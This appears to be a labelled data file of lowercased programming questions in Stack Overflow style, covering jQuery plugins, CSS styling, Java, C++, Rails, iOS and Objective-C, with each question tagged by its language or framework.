not able to configure how to use function in custom jquery plugin  i am trying two write a jquery plugin to track box entering into view and i couldn t figure out how to pass ui value to my plugin and how to use the <code>topin()</code> inside the plugin.    basically this plugin is mean to create a null callback function <code>boxtopin</code> which is re-usable on the client side   <pre><code>(function($) {   $.fn.boxinview = function(options) {     var settings = {       boxtopin: null     };      var options = $.extend(settings  options);      function topin(elem) {       $(window).scroll(function() {         var screenbot = $(window).height();         if (($(window).scrolltop() + screenbot) &gt; elemtop) {           if ($.isfunction(options.oncomplete)) {             options.oncomplete.call();           }           options.boxtopin.call();         }       });     }   }; })(jquery);  $( #c ).boxinview({   boxtopin: function() {     console.log( box in view );   } }); </code></pre>,jquery
css: how to change only one value using hsl color  is there any way to adjust only specific values using <code>hsl</code>  for example  if i only want to change the saturation or lightness and keep the hue the same    <pre><code>.red {     background-color: #ff0000; /* or  hsl(0 100% 50%); */ } .red-dark { // adjust saturation +10% and lightness -15%     background-color: hsl(  +10%  -15%); } </code></pre>,css
create  search  insert and delete contacts in adress book  i am new to java and have been in touch since last two weeks. how could i create new contact  search and delete.   <h2>edit</h2>   used suggestion from answers and learned some new stuff. i am now able to store  search  delete any contact using database through using queries. i needed database connection.   <h2>driver:</h2>  <pre><code>import java.util.scanner;  public class driver {      public static void main(string [] args) {         scanner in = new scanner(system.in);          addressbook adbook = new addressbook();          system.out.print( type your first name:  );         adbook.fname = in.nextline();          system.out.print( type middle name:  );         adbook.mname = in.nextline();          system.out.print( type last name:  );         adbook.lname = in.nextline();          system.out.print( type national identity card number:  );         adbook.nic = in.nextline();          system.out.print( type home adress:  );         adbook.homead = in.nextline();          system.out.print( type home phone number:  );         adbook.homeph = in.nextline();          system.out.print( type business address:  );         adbook.busadd = in.nextline();          system.out.print( type business phone:  );         adbook.busph = in.nextline();          system.out.print( type cell number:  );         adbook.cellnum = in.nextline();          system.out.print( type fax number:  );         adbook.faxnum = in.nextline();          adbook.showdetails();     } } </code></pre>  <h2>address book class</h2>  <pre><code>public class addressbook {      string fname;     string mname;     string lname;     string nic;     string homead;     string homeph;     string busadd;     string busph;     string faxnum;     string cellnum;      public addressbook(string f_name  string m_name  string l_name          string n_ic  string home_ad  string home_ph          string bus_ad  string bus_ph  string fax_num  string cell_num) {         fname = f_name;         mname = m_name;         lname = l_name;         nic = n_ic;         homeph = home_ph;         homead = home_ad;         busadd = bus_ad;         busph = bus_ph;         faxnum = fax_num;         cellnum = cell_num;     }      addressbook() {     }      public string getfname() {         return fname;     }      public string getmname() {         return mname;     }      public string getlname() {         return lname;     }      public string getnic() {         return nic;     }      public string gethomead() {         return homead;     }      public string gethomeph() {         return homeph;     }      public string getbusad() {         return busadd;     }      public string getbusph() {         return busph;     }      public string getcellnum() {         return cellnum;     }      public string getfaxnum() {         return faxnum;     }      public void showdetails() {         system.out.println();         system.out.println( your address book goes here );         system.out.println( your full name is:   + fname +     + mname +     + lname);         system.out.println( natinal identity card number:   + nic);         system.out.println( home address:   + homead);         system.out.println( phone number:   + homeph);         system.out.println( business adress:   + busadd);         system.out.println( business number:   + busph);         system.out.println( cell number:   + cellnum);         system.out.println( fax number:   + faxnum);     } } </code></pre>,java
how to programatically determine server software in php   i want to do small  server software check  to make sure that my php application is running on apache.    i want to warn my users about security problems when they run my web application on microsoft iis servers.    i have some ssl-connection checks and they do not work under iis  and i m too lazy to write separate functions for iis support.   <hr>   <strong>i need a function</strong> that checks software  not  manual check  as @eda190 suggested.,php
ios system volume change to achive 9db boost  how to chnage ios system volume such that it matches with 9db digital boost     (output after analog system volume change) = (9db digital boosted signal before system volume change),ios
what technology is behind soccernet gamecast   i am looking at javafx to create ria. and technology behind partial refresh and news feed  anything that can update and display new information real time. anyone knows anything behind the technology of soccernet gamecast,html
is overrding an event handler a bad practice  is it a bad practice to override an event handler  compared to calling a protected method from the event handler and overriding the protected method.     are these are any security concerns  or any side effects if you override an event handler.    <pre><code>namespace testing {   public class owner   {     public event eventhandler&lt;eventargs&gt; onaction;   }    public class foo   {     public foo(owner owner)     {        owner.onaction += onaction;       owner.onaction += onaction2;     }      protected virtual void onaction(object sender  eventargs eventargs)     {     }      private void onaction2(object sender  eventargs eventargs)     {       protectedmethod();     }      protected virtual void protectedmethod()     {     }   }    public class fooderived: foo   {     public fooderived(owner owner) : base(owner)     {     }      protected override void onaction(object sender  eventargs eventargs)     {       // do something       base.onaction(sender  eventargs);     }   }    public class foodrived2: foo   {     public foodrived2(owner owner) : base(owner)     {     }      protected override void protectedmethod()     {       // do something       base.protectedmethod();     }   } } </code></pre>,.net
c++ reading line by line but not able to show output line by line  i am trying to run a c++ code. my input file has number of lines and i am trying remove the spaces in each line and then display. but  when i run the code the output is coming in a single line i.e all thelines of the file are being shown in one single line.    please solve my problem   so that i get the output line by line.    thanks.    i have tried this code. this is my code:   <pre><code>int main() {     int i = 0  len  j;     std::string str;     ifstream ifile( g.txt );     while (std::getline(ifile  str) != 0)     {         len = str.length();         for (i = 0; i &lt; len; i++)         {             if (str[i] ==    )             {                 for (j = i; j &lt; len; j++)                 {                     str[j] = str[j + 1];                 }                 len--;             }         }         cout &lt;&lt; str;     } } </code></pre>,c++
error:object [object object] has no method  msdropdown   i am new to jquery if somebody could tell me what i should do to get rid of this error    <pre><code>$(document).ready(function () {     debugger;     $.ajax({         type:  post           url: rooturl +  schedulingprofile/getvisittypes           contenttype:  application/json; charset=utf-8           datatype:  json           success: function (data) {             var markup =   ;             for (var x = 0; x &lt; data.length; x++) {                 markup +=  &lt;option value=   + data[x].id +    title= ../images/trans.png   label= background-color:#  + data[x].visittypecolor +   &gt;  + data[x].visittypename +  &lt;/option&gt; ;             }             $( #ddlannualvisittype ).html(markup).show();             try {                 ohandler = $( .mydds ).msdropdown().data( dd );                 //ohandler.visible(true);                 $( #ver ).html($.msdropdown.version);             }             catch (e) {                 alert( error:   + e.message);             }         }     }); }); </code></pre>   error:object [object object] has no method <code> msdropdown </code>,jquery
create a wave border-bottom line  i am to make a wave styled <code>border-bottom:1px solid;</code> rather than a straight line. how can this be accomplished      so <code>border-bottom</code> looks like:     <a href= https://i.stack.imgur.com/b2a0n.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/b2a0n.jpg  alt= enter image description here ></a>    and i want something like:    <a href= https://i.stack.imgur.com/r3rbd.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/r3rbd.jpg  alt= enter image description here ></a>    what is the best way to achieve this  here is a <a href= http://jsfiddle.net/8y50bb1b/  rel= nofollow noreferrer >jsfiddle</a>.,css
editing a wordpress theme  i m trying to edit a wordpress theme.  here s the website: <a href= http://findbeauty.be  rel= nofollow >http://findbeauty.be</a>    i m having a problem where i can t find the parts in the code that i need to edit. in the nav bar you can see the  white triangles  that cut a part from the black nav bar.    i ve looked everywhere in the css and i can t find it. is there any way other than css where you would be able to get such an end result  in php or so  where would i have to look     if i use firebug to locate the element i get this:   <pre><code>&lt;nav class= nav  role= navigation &gt; </code></pre>   full stylesheet added below. thanks!   <pre><code>@media screen and (max-width: 800px) {    /* overall */   .container {     margin: 10px auto;      width: 90%;      overflow: hidden;   }   .header {     position: relative;      width: 90%;      margin: 0 auto;      padding: 40px 0 0 0;   }   .section {     clear: both;      margin: 20px 0;   }   .aside {     clear: both;      margin: 30px 0;      background: #f8f8f8;   }   .footer {     clear: both;      overflow: hidden;      margin: 0 auto;      width: 100%;      color: #777;   }    /* .header form */   .header-form {     display: none;   }    /* .nav */   .mobile-nav {     display: block;      width: 100%;      margin: 0 auto;   }   .nav {     position: relative;      width: 96%;      background: #000;      display: inline-block;      padding: 2%;      margin-top: 40px;      clear: both;      line-height: 1em;      text-transform: uppercase;   }   .nav ul {     display: none;      list-style: none;   }    /* .post-info-meta */   ul.post-info-meta {     color: #888;      padding: 0;   }   ul.post-info-meta li {     list-style: none;      float: none;   }   ul.post-info-meta li.post-info-comment {    }    /* .footer */   p.footer-copy {     background: #000;      padding: 20px;      clear: both;      font-size: 0.9em;      overflow: hidden;      margin: 0 auto;   }   p.footer-copy .footer-credit {    }  }  @media screen and (min-width: 801px) and (max-width: 980px) {    /* overall */   .container {     margin: 10px auto;      width: 90%;      overflow: hidden;   }   .header {     position: relative;      width: 90%;      margin: 0 auto;      padding: 40px 0 0 0;   }   .section {     float: left;      width: 60%;      margin: 20px 0;   }   .aside {     float: right;      width: 35%;      margin: 30px 0;      background: #f8f8f8;   }   .footer {     clear: both;      overflow: hidden;      margin: 0 auto;      width: 100%;      color: #777;   }    /* .header form */   .header-form {     clear: both;      overflow: hidden;      position: absolute;      top: 4px;      right: 20px;   }   .header-text {     width: 80px;      border: 1px solid #bbb;   }    /* .nav */   .mobile-nav {     display: block;      width: 50%;   }   .nav {     position: relative;      width: 90%;      display: inline-block;      background: #000;      padding: 5px 5%;      margin-top: 40px;      clear: both;      line-height: 1em;      text-transform: uppercase;   }   .nav ul {     display: none;      list-style: none;   }   .nav a {     display: block;      padding: 14px 10px;      color: #fff;   }   .nav a:hover {     text-decoration: underline;      color: #fff;   }   .nav ul ul a {     display: block;      padding: 14px;      position: relative;   }    /* .post-info-meta */   ul.post-info-meta {     color: #888;      padding: 0;   }   ul.post-info-meta li {     list-style: none;      float: left;   }   ul.post-info-meta li.post-info-comment {     float: right;   }    /* .footer */   p.footer-copy {     background: url( images/nav_bg.gif ) no-repeat center;      padding: 10px 20px;      clear: both;      font-size: 0.9em;      overflow: hidden;      margin: 0 auto;   }   p.footer-copy .footer-credit {     display: block;      float: right;      width: 55px;      height: 11px;      background: url( images/footer_credit.png ) no-repeat 0 0;      text-indent: -9999px;      margin-top: 5px;   }  }  @media screen and (min-width: 981px) {    /* overall */   .container {     margin: 10px auto;      width: 1020px;      overflow: hidden;   }   .header {     position: relative;      width: 1020px;      margin: 0 auto;      padding: 40px 0 0 0;   }   .section {     float: left;      width: 640px;      margin: 30px 0 30px 20px;   }   .aside {     float: right;      width: 300px;      margin: 30px 20px 30px 0;      background: #f8f8f8;   }   .footer {     clear: both;      overflow: hidden;      margin: 0 auto;      width: 1020px;      color: #777;   }    /* .header form */   .header-form {     clear: both;      overflow: hidden;      position: absolute;      top: 4px;      right: 40px;   }   .header-text {     width: 100px;      border: 1px solid #bbb;   }    .header-banner {     position: relative;     margin: 0 auto;     left: 290px;   }    /* .nav */   .mobile-nav {     display: none;   }   .nav {     position: relative;      width: 970px;      display: inline-block;      background: #000;      padding: 0 25px;      margin-top: 40px;      clear: both;      line-height: 1em;      text-transform: uppercase;   }      .nav:before  .nav:after {         border: 1.7em solid #000;         content:   ;         display: block;         position: absolute;         bottom: 0;         top: 0;         z-index: 1;     }     .nav:before {         border-left-color: #fff;         border-right-width: 1.5em;         left: 0;     }     .nav:after {         border-left-width: 1.5em;         border-right-color:#fff;         right: 0;     }    .nav ul {     list-style: none;      max-width: 780px;      display: inline-block;   }   .nav a {     display: block;      padding: 14px;      color: #fff;   }   .nav a:hover {     text-decoration: underline;      color: #fff;   }   .nav ul ul a {     display: block;      padding: 14px;      position: relative;   }    /* .post-info-meta */   ul.post-info-meta {     color: #888;      padding: 0;   }   ul.post-info-meta li {     list-style: none;      float: left;   }   ul.post-info-meta li.post-info-comment {     float: right;   }    /* .footer */   p.footer-copy {     background: url( images/nav_bg.gif ) no-repeat center;      padding: 10px 20px;      clear: both;      font-size: 0.9em;      overflow: hidden;      margin: 0 auto;   }   p.footer-copy .footer-credit {     display: block;      float: right;      width: 55px;      height: 11px;      text-indent: -9999px;      margin-top: 5px;   }  }   /* overall */ body {   font: normal 0.8em  muli   lucida sans unicode  lucida grande  verdana  tahoma  arial  sans-serif;    color: #666;    background-color:#fff; } body p {   margin-bottom: 20px;    line-height: 1.8em;    word-wrap: break-word;    -ms-word-wrap: break-word; }  /* hgroup */ h1  h2  h3  h4  h5  h6 {   line-height: 1.2em;    margin-bottom: 15px;    font-family:  montserrat   sans-serif;    font-weight: 400; } h1 {   font-size: 1.6em;    color: #000; } h2 {   font-size: 1.4em;    color: #000; } h3 {   font-size: 1.2em;    color: #333; } h4 {   font-size: 1.2em;    color: #333; } h5 {   font-size: 1em;    color: #555; } h6 {   font-size: 1em;    color: #555; }  /* link */ a {   color: #ff8f85;    text-decoration: none;    -webkit-transition: all 0.3s ease-in-out;    -moz-transition: all 0.3s ease-in-out;    -ms-transition: all 0.3s ease-in-out;    -o-transition: all 0.3s ease-in-out;    transition: all 0.3s ease-in-out; } a:hover {   color: #000; }  /* .header */ .header h1  .header h5 {   font-size: 48px;    text-transform: uppercase;    margin: 10px 0 0 0; } .header-title {   color: #000; } .header-desc {   margin: 0;    color: #777; }  /* .nav */ .nav .current-menu-item &gt; a  .nav .current-menu-ancestor &gt; a  .nav .current_page_item &gt; a  .nav .current_page_ancestor &gt; a {   text-decoration: underline; }  .nav ul ul a {   display: block;    padding: 10px;    position: relative; }  .nav li {   display: inline-block;    float: left;    position: relative;    z-index: 100; } .nav li:hover &gt; ul {   opacity: 1;   -ms-filter:  progid:dximagetransform.microsoft.alpha(opacity=100) ;   filter: alpha(opacity=100);   zoom: 1;   visibility: visible;   height: auto; }  .nav ul ul { opacity: 0; -ms-filter:  progid:dximagetransform.microsoft.alpha(opacity=0) ; filter: alpha(opacity=0); -webkit-transition: opacity .3s ease-in-out; -moz-transition: opacity .3s ease-in-out; -o-transition: opacity .3s ease-in-out; transition: opacity .3s ease-in-out; zoom: 0; visibility: hidden; height: 0; position: absolute; width: 200px; background: #000; z-index: 200; }  .nav ul li.has-sub &gt; a {   background: url( images/menu_down.gif ) no-repeat right center; } .nav ul ul li.has-sub &gt; a {   background: url( images/menu_right.gif ) no-repeat right center; }  .nav ul ul li {   display: block;    float: none; }  .nav ul ul ul {   position: absolute;    left: 200px;    top: 0; }  /* .article */ .sticky {} .article {   margin-bottom: 50px;    padding-bottom: 20px;    background: url( images/break.gif ) repeat-x bottom center;    overflow: hidden;    clear: both; } .article .post-thumb {   padding: 2px;    border: 1px solid #ddd; } .article .post-header {   margin-bottom: 30px;    overflow: hidden; } .article .post-date {   float: left;    margin-right: 10px;    background: #000;    color: #ddd;    width: 45px;    padding: 18px;    line-height: 1em;    font-size: 1.2em;    text-align: center;    text-transform: uppercase; } .article .post-date span {   color: #fff;    font-size: 1.4em; } .article h2.post-title {   font: italic 400 1.8em  lora   serif; margin: 10px 0 5px 0;    line-height: 1.2em; } .article h2.post-title a {   color: #000; } .article .post-comment {   padding: 2px 0 2px 20px;    background: url( images/comment_icon.gif ) no-repeat 0 4px; } .article .attachment-alignleft {   float: left;    margin: 0 10px 5px 0; } .article .archives {   overflow: hidden;    clear: both;    padding: 10px 0; } .article .archives .archives-box {   width: 45%;    float: left;    padding: 2px; }  /* .article misc */ .article blockquote {   font: italic 400 1.4em  lora   serif; display: block;    clear: both;    margin: 20px 0;    padding: 20px 20px 20px 60px;    background: #f8f8f8 url( images/blockquote.gif ) no-repeat 20px 25px;    font-style: italic;    color: #888; } .article blockquote p {   padding: 0; } .article ul {   margin: 0 0 20px 25px;    list-style: circle outside; } .article ol {   margin: 0 0 20px 25px;    list-style: decimal outside; } .article li {   margin: 3px 0;    line-height: 1.8em; }  /* .article misc */ .pagetitle {   text-align: center;    font-size: 2em;    padding: 20px;    color: #999; }  .page-pagination {   font-weight: bold;    border-top: 1px solid #eee;    border-bottom: 1px solid #eee;    padding: 5px 0; } .page-pagination span {   margin: 2px 5px; }  .pagination {   clear: both;    font-size: 0.85em;    padding: 10px 0;    overflow: hidden;    list-style: none; } .pagination a:hover  .pagination .current {   padding: 5px 10px;    margin-right: 5px;    background: #ff8f85;    color: #fff;    -moz-border-radius: 4px;    -webkit-border-radius: 4px;    border-radius: 4px; } .pagination a {   padding: 5px 10px;    margin-right: 5px;    background: #eee;    color: #666;    -moz-border-radius: 4px;    -webkit-border-radius: 4px;    border-radius: 4px; }  .post-footer {   clear: both;    padding: 20px 0 10px 0;    margin: 0;    overflow: hidden; } .post-footer ul {   margin: 0;    list-style: none; } .post-footer ul li {   margin: 5px 0; }  .footer-navi {   clear: both;    overflow: hidden;    padding: 0 !important;    margin-bottom: 20px;    border-top: 1px solid #eee;    border-bottom: 1px solid #eee; } .footer-navi li.previous {   float: left; } .footer-navi li.next {   float: right; }  /* .gallery */ .gallery {   clear: both;    overflow: hidden; } .gallery .gallery-item {   margin-top: 0 !important; } .gallery dl {   margin: 0; } .gallery a {   padding: 5px;    display: block; } .gallery a img {   max-width: 100%;    height: auto; } .gallery-caption {}  /* .sideform */ .sideform {   clear: both;    overflow: hidden;    text-align: center; } .sidetext {   width: 150px;    margin: 2px auto;    color: #888;    border: 1px solid #bbb; }  /* .side-widget */ .side-widget {   padding: 20px 20px 30px 20px;    margin-bottom: 20px;    background: url( images/side_bg.gif ) no-repeat bottom center;    overflow: hidden;    clear: both; } .textwidget {   overflow: hidden;    clear: both; } .side-widget h3 {   font-size: 1.3em;    font-weight: 400;    text-transform: uppercase;    text-align: center;    margin-bottom: 15px;    color: #888; } .side-widget select {   width: 90%; } .side-widget ol  .side-widget ul {   clear: both;    list-style: none; } .side-widget ol.children  .side-widget ul.children {   clear: both;    list-style: none;    margin-left: 20px; } .side-widget ol li  .side-widget ul li {   margin: 5px 0;    line-height: 1.8em; }  /***** widget *****/ /* .flickr */ .flickr {   clear: both;    padding: 10px 0; } .flickr .flickr_badge_image {   float: left;    padding: 5px; } .flickr .flickr_badge_image img {}  /* .social-icons */ ul.social-icons li {   float: left; } .social-rss  .social-facebook  .social-twitter  .social-pinterest {   display: block;    width: 48px;    height: 48px;    float: left;    background: url( images/social_icons.gif ) no-repeat;    text-indent: -9999px; } .social-rss {   background-position: 0 0;    margin-right: 16px; } .social-twitter {   background-position: -68px 0;    margin-right: 16px; } .social-facebook {   background-position: -136px 0;    margin-right: 16px; } .social-pinterest {   background-position: -204px 0; }  /* .twitter */ .tweet_list {   padding: 5px 0; } .tweet_time {   font-style: italic; }  /* .footer */ p.footer-copy a:hover {   color: #fff; }  /* .comment-box */ .comment-box {   padding: 0 0 20px 0;    overflow: hidden; } .comment-box h4 {   font-size: 1.4em;    margin: 10px 0; } #respond {   padding: 10px;    background: #fff; } .comment-text {   width: 25%;    margin-right: 5px; } .comment-textarea {   width: 95%; } .comment-text  .comment-textarea {   border: 1px solid #ccc;    padding: 5px;    color: #999;    font: normal 0.85em verdana  tahoma  arial  san-serif; } .avatar {   margin-right: 20px;    float: left;    border: 1px solid #999; } .comment-meta {   clear: both;    overflow: hidden; } .comment-meta h6 {   font-size: 1em;    margin-bottom: 3px; } .comment-meta small {   font-style: italic;    color: #999;    font-size: 0.85em; } .comment-content {   padding: 5px 10px;    overflow: hidden; } .comment-content p {   padding: 5px 0;    margin: 0 0 10px 55px;    line-height: 1.8em } .commentlist li {   border-bottom: 1px solid #ddd;    margin-bottom: 20px;    list-style: none; } .commentlist li.bypostauthor {} .commentlist ul.children {   padding: 0; } .commentlist ul.children li {   border: none;    border-left: 1px solid #ddd;    padding: 0 0 0 30px;    margin: 0;    list-style: none; } a.comment-reply-link {   float: right; }  /* #wp-calendar */ #wp-calendar {   text-align: center;    width: 100%;    font-size: 0.9em; } #wp-calendar caption {   font-weight: bold;    text-align: center;    padding: 5px 0;    border-top: 1px solid #eee;    border-left: 1px solid #eee;    border-right: 1px solid #eee; } #wp-calendar th {   font-style: normal;    text-transform: capitalize;    padding: 2px;    border-right: 1px solid #eee; } #wp-calendar td {   font-style: normal;    padding: 2px;    border-right: 1px solid #eee; } #wp-calendar tr {   border-top: 1px solid #eee;    border-left: 1px solid #eee; } #wp-calendar tfoot td {   border-bottom: 1px solid #eee; }  /* img */ img {   max-width: 100%;    height: auto; } img.aligncenter {   display: block;    margin: 0 auto 10px auto; } img.alignright {   display: inline;    margin: 0 0 10px 20px; } img.alignleft {   display: inline;    margin: 0 20px 10px 0; } .aligncenter  .centered {   display: block;    margin: auto; } .alignleft {   float: left;    margin-right: 10px; } .alignright {   float: right;    margin-left: 10px; }  /* .wp-caption */ .aligncenter  div.aligncenter {   display: block;    margin-left: auto;    margin-right: auto; } .wp-caption {   border: 1px solid #ccc;    background: #efefef;    margin: 15px;    padding: 1%;    text-align: center;    max-width: 96%; } .wp-caption img {   border: 0; } .wp-caption p.wp-caption-text {   font-size: 0.85em;    line-height: 1.2em;    padding: 3px 0;    margin: 0; }  /* input and label */ select  textarea  input {   border: 1px solid #ccc;   color: #888;   padding: 5px;    -moz-border-radius: 5px;    -webkit-border-radius: 5px;    border-radius: 5px;    font-family:  muli   arial  verdana  sans-serif; } input[type=submit] {   border: 1px solid #ccc;    color: #555;    cursor: pointer;    background: #eee;    padding: 5px 10px;    -moz-border-radius: 3px;    -webkit-border-radius: 3px;    border-radius: 3px;    -webkit-transition: all 0.3s ease-in-out;    -moz-transition: all 0.3s ease-in-out;    -ms-transition: all 0.3s ease-in-out;    -o-transition: all 0.3s ease-in-out;    transition: all 0.3s ease-in-out; } input[type=submit]:hover {   border: 1px solid #aaa;    background: #ccc; } label {   display: inline-block;    margin-right: 20px; }  /* misc */ .hidden {   display: none; } .focused {   border: 1px solid #888; } .highlight {   background: #efefef;    padding: 0 2px; } .button {   padding: 1px 5px; } .fade {   filter: alpha(opacity=50);    opacity: 0.5; } .clearfix {   clear: both;    height: 10px; } .shadow {   -webkit-box-shadow: 0 0 5px 0 #aaa;    box-shadow: 0 0 5px 0 #aaa; } .transparency {   background-color: rgba(255  255  255  0.8); } .radius-100 {   -moz-border-radius: 100px;    -webkit-border-radius: 100px;    border-radius: 100px; } .radius-10 {   -moz-border-radius: 10px;    -webkit-border-radius: 10px;    border-radius: 10px; } .radius-8 {   -moz-border-radius: 8px;    -webkit-border-radius: 8px;    border-radius: 8px; } .radius-4 {   -moz-border-radius: 4px;    -webkit-border-radius: 4px;    border-radius: 4px; } </code></pre>,css
what is the meaning of  $  sign in javascript  in the following javascript code there is a dollar (<code>$</code>) sign. what does it mean    <pre><code>$(window).bind( load   function() {     $( img.protect ).protectimage(); }); </code></pre>,javascript
printf printing wrong char and 0  sorry if this is a stupid question  i m new to c++. why is it not copying all of the input to the output correctly    <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;limits&gt; #include &lt;string&gt;  using namespace std;  int main() {     int num1;     long num2;     long long num3;     char char1;     float num4;     double num5;     scanf( %d %ld %lld %c %f %lf   &amp;num1  &amp;num2  &amp;num3  &amp;char1  &amp;num4  &amp;num5);     //input: 211916801 452082285 97592151379235457 p 19856.992 -5279235.721231465     printf( %d %ld %lld %c %f %lf   num1  num2  &amp;num3  &amp;char1  &amp;num4  &amp;num5);     //expected output: 211916801 452082285 97592151379235457 p 19856.992 -5279235.721231465     //actual output: 211916801 452082285 68674564278975280 c 0.000000 0.000000     system( pause );     return 0; } </code></pre>,c++
validation help form angularjs  i have a form to add customers to a table-mysql  but i like put a validation for a input form  just accetp hexadecimal 0-9 and a-f just lowercase and on this pattern: xxxx.xxxx.xxxx when  x  can be 0-9 and a-f and no empty.    my form:   <pre><code>&lt;form name= product_form  class= form-horizontal  role= form  novalidate&gt;     &lt;form-element label= mac address  mod= product &gt;         &lt;input type= text  class= form-control  name= name                 placeholder= mac address  ng-model= product.name  focus/&gt;     &lt;/form-element&gt; &lt;/form&gt; </code></pre>,angularjs
how can i make a css hover not work if a button is disabled   i have this css:   <pre><code>html.darkblue .btn1 button:hover:not(.nohover) {   background: #0007d5;   border: 1px solid #0007d5;   color: white; } </code></pre>   i am rather confused about disabled. how can i make it so that this css does not work if the button is disabled,css
exported excel file from gridview not able to import again to gridview  i exported data from gridview to excel and then importing the same data with updates from excel to gridview is giving the following error:   <blockquote>    error: external table is not in the expected format.  </blockquote>,.net
how do i create a list with 256 elements   i ve started teaching myself python  and as an exercise i ve set myself the task of generating lookup tables i need for another project.     i need to generate a list of 256 elements in which each element is the value of <code>math.sin(2*i*pi/256)</code>. the problem is  i don t know how to generate a list initialized to  dummy  values that i can then use a for loop to step through and assign the values of the <code>sin</code> function.    using list() seems to create an  empty  list  but with no elements so i get a  list assignment index out of range  error in the loop. is there a way to this other than explicitly creating a list declaration containing 256 elements all with  0  as a value,python
compare a value with all array elements in one statement  for example:   <pre><code>if (value == array[size]) //if the value (unique) is present in an array then do something </code></pre>   can this be done in one statement without having to call a function or a basic for loop statement,c++
display uilabel on camera view  i want open the camera view and display a <code>uilabel</code> on that view with some title and user can not take photo on that view so no take photo in cameraview    <img src= https://i.stack.imgur.com/ixg1v.png  alt= enter image description here >    any idea how can i do this please.....    thanks in advance,ios
interview program example  there are several topics about what questions will be raised in an interview for a  programming job  but none actually talk about a small problem that some companies want: an example program.    my question is based on my last job application  where i ve been asked to <strong>create a simple program</strong> and send it to them.    well  this raises several questions:   <ul> <li>what kind of program should i write  </li> <li>what should i implement </li> <li>what should i use as a show-off for technical stuff </li> </ul>   <strong>and mostly importantly</strong> (been several users of so that person that review the code) what is the company expecting     my current idea is to <strong>create a simple blog using an xml file</strong> to store the data  and if required build a simple one asp.net page with add/edit/delete functions  and create a window forms as well a command line application that would do the same.    things that i should <strong>not</strong> avoid:   <ul> <li>comment all the code</li> <li>use regions to divide code</li> <li>create class object to use with the  blog   </li> </ul>   and should i:   <ul> <li>use interfaces </li> <li>use <code>virtual</code> and override some method (<code>myblog.showpost()</code> for example) </li> <li>apply any design pattern </li> <li>use a helper / utilities class </li> <li>use dal and bll </li> </ul>   how about  shipping  should i...   <ul> <li>use msi (to prove that i can create nice installers)</li> <li>just send the code as a visual studio project</li> </ul>   any idea of a simple program  and exactly what should be in the code is greatly appreciated :),.net
how to take input in one line and separately store them in different variables  so i want to ask that suppose if i am taking input like 2+5 in one line so i want to separate them in 3 different variables like int a=2  b=3 and char operator =  +     p.s: just trying to tweak my simple calculator program,c#
how to slide up when click any outside of div   i have made a toggle slide menu with jquery mobile and how to slides back up when click anywhere of div     this is my jquery script here    <pre><code>&lt;script&gt;           $(document).ready(function () {             $( .gnblayer ).hide();             $( .icgnb5 ).click(function () {                 $(this).toggleclass( on );                  $( .gnblayer ).slidetoggle( medium );              });          });          &lt;/script&gt; </code></pre>,jquery
how to calculate lasst time app is active and check if time exceeds then display login screen  how to calculate the last time app is active,ios
rails: undefined method `photos_path    hi i m currently working with nested resources.    routes   <pre><code>pholder::application.routes.draw do resources :users do   resources :albums do     resources :photos   end end end </code></pre>   i have 3 models (users  albums  photos). i ve managed to register users and create albums  but am stuck on trying to make the form for photos. on creation of an album  the user is redirected to the albums/show page:    album/show   <pre><code>&lt;% if @album.photos.any  %&gt; yes  pics &lt;% else %&gt; no  pics &lt;% end %&gt;   &lt;%= link_to  upload new pics!   new_user_album_photo_path(@user  @album) %&gt; </code></pre>   as you can see  on the bottom of the page there s a path to new photos  and that s where the issue is. when i click on the link  it gives me an error:    <code>undefined method</code>photos_path  for #&lt;#:0x007fb69e167220>`    the error occurs on line #3 of that page (photos/new)    photos/new   <pre><code>&lt;% provide(:title   upload pictures ) %&gt;  &lt;%= form_for(@photo  :html =&gt; { :multipart =&gt; true }) do |f| %&gt;  &lt;%= f.file_field :photo %&gt;  &lt;% end %&gt; </code></pre>   i suspect that i m putting the wrong information to the controller (i m still very shaky on what to put in the controller.)  here s my photos controller.    photos controller   <pre><code>class photoscontroller &lt; applicationcontroller      def new       @user = user.find(params[:user_id])       @album = @user.albums.find(params[:album_id])       @photo = @album.photos.build     end      def create       @album = album.find(params[:album_id])       @photo = @album.photos.build(params[:photo])       respond_to do |format|         if @album.save           format.html { redirect_to @album  notice:  album was successfully created.  }           format.json { render json: @album  status: :created  location: @album}         else           format.html { render action:  new  }           format.json { render json: @album.errors  status: :unprocessable_entity }         end       end     end      def show       @album = album.find(params[:album_id])       @photos = @album.photos     end   end </code></pre>   is my form incorrect  it s confusing to me what to put in the controller and whether the error is occurring in the form or the controller. thanks    let me know if you need any more info.,ruby-on-rails
why [nsdata bytes] can be changed and impact nsdata object itself  say i have below code from another guy:   <pre><code>-(nsstring *)xorbetweenstring1:(nsstring *)str1 andstring2:(nsstring *)str2 {     nsdata *d1 = [str1 datausingencoding:4];     const void *b1 = [d1 bytes];      nsdata *d2 = [str2 datausingencoding:4];     const void *b2 = [d2 bytes];     const void *b3 = b2;      int c = 0;     for (int i = 0; i &lt; [d1 length]; i ++) {         *(byte *)b1++ ^= *(byte *)b3++;         c++;         if (c == [str2 length]) {             c = 0;             b3 = b2;         }     }      nsstring *result = [[nsstring alloc] initwithdata:d1 encoding:4];     return result; } </code></pre>   as i remember  [nsdata bytes] returns <code>const void *</code>  which means the content the pointer points is not mutable. however  above function indeed changes nsdata s contents:    before:   <blockquote>    (lldb) po v20   &lt;32383a63 663a6461 3a62613a 64313a39 33>  </blockquote>   after:   <blockquote>    (lldb) po v20   &lt;166c7a31 327a3431 1e362168 30716a69 17>  </blockquote>   i am confused  why no errors  or i made any mistake     <em>update</em>: i found [str1 datausingencoding:4] is returning <code>nsconcretemutabledata</code>. seems the root cause. but why it returns <code>nsconcretemutabledata</code> instead pure <code>nsdata</code>  i mean the apple doc never mentioned it,objective-c
